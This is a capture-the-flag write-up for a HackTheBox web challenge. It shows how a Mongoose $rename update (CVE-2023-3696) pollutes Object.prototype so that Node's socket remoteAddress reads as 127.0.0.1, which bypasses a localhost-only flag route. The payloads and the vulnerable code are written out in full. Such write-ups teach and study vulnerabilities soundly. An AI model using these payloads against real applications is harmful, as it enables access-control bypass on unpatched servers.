pwneglyph logo
web web-server nodejs express mongodb mongoose prototype-pollution cve-2023-3696 rename-operator nosql node-internals socket-peername access-control-bypass

/update passes req.body straight into findByIdAndUpdate, so a {$rename:{content:'__proto__._peername'}} update pollutes Object.prototype (CVE-2023-3696). Set Object.prototype._peername='x' and address='127.0.0.1' so net.Socket.remoteAddress getter returns 127.0.0.1 for the /flag route's localhost check — reading the flag with no real localhost request.

Secure Notes — Mongoose $rename prototype pollution → fake localhost

Platform: HackTheBox · Category: Web (server-side) · Stack: Node/Express + MongoDB (Mongoose ^7.2.4)

Challenge overview

/flag only returns the flag to a request whose socket address is loopback:

const remoteAddress = req.connection.remoteAddress;
if (['127.0.0.1','::1','::ffff:127.0.0.1'].includes(remoteAddress)) res.send(process.env.FLAG);
else res.status(403)...

/update is the bug: it forwards the entire request body into Mongoose's update:

const { noteId } = req.body;
await Note.findByIdAndUpdate(noteId, req.body);   // attacker controls the update object

mongoose is ^7.2.4 (resolves to the vulnerable 7.2.4) → CVE-2023-3696: a $rename whose destination is __proto__.<x> walks into Object.prototype and pollutes it on the next find().

Step 1 — prototype pollution via $rename

The advisory pattern: rename a real field's value onto __proto__.<key>, so the value of that field becomes the polluted prototype value. So we create a note whose content is the value we want, then rename content__proto__.<key>:

# pollute Object.prototype._peername = "x"
nid = create_note(content="x")
post("/update", {"noteId": nid, "$rename": {"content": "__proto__._peername"}})

# pollute Object.prototype.address = "127.0.0.1"
nid = create_note(content="127.0.0.1")
post("/update", {"noteId": nid, "$rename": {"content": "__proto__.address"}})

Step 2 — why _peername + address fakes loopback

req.connection.remoteAddress is a getter on net.Socket:

// returns this._peername.address; lazily filled from the real socket only if _peername is falsy
if (!this._peername) { this._handle.getpeername(out); this._peername = out; }
return this._peername.address;

Polluting Object.prototype._peername = "x" makes this._peername truthy by inheritance, so the socket never fills it from the real peer; then "x".address doesn't exist as an own property, so it falls through to the polluted Object.prototype.address = "127.0.0.1". Result: remoteAddress returns 127.0.0.1 for every connection.

Step 3 — read the flag

GET /flag   ->  remoteAddress === "127.0.0.1"  ->  FLAG

Flag: HTB{m0ng00s3_pr0t0typ3_p0llus10n_c0mb1n3d_w1th_1nt3rn4l_n0d3_g4dg3ts!}

Takeaways (generalized techniques)

  • Mongoose $rename prototype pollution (CVE-2023-3696): when user input reaches findByIdAndUpdate(id, body) unfiltered, {"$rename":{"field":"__proto__.key"}} pollutes Object.prototype on the next query. ^-pinned deps that look fixed can still resolve to the vulnerable version — check the lockfile.
  • Pollution gadgets reach deep into Node internals. net.Socket's lazy _peername caching means Object.prototype._peername + Object.prototype.address override remoteAddress — turning a generic pollution into an IP allowlist bypass (no SSRF/real localhost request needed). Hunt for "checked-if-falsy then cached" properties on built-ins.
  • Forwarding req.body into a DB update is object injection: the body can carry operators ($set, $rename, $function) the developer never intended.

Sources & references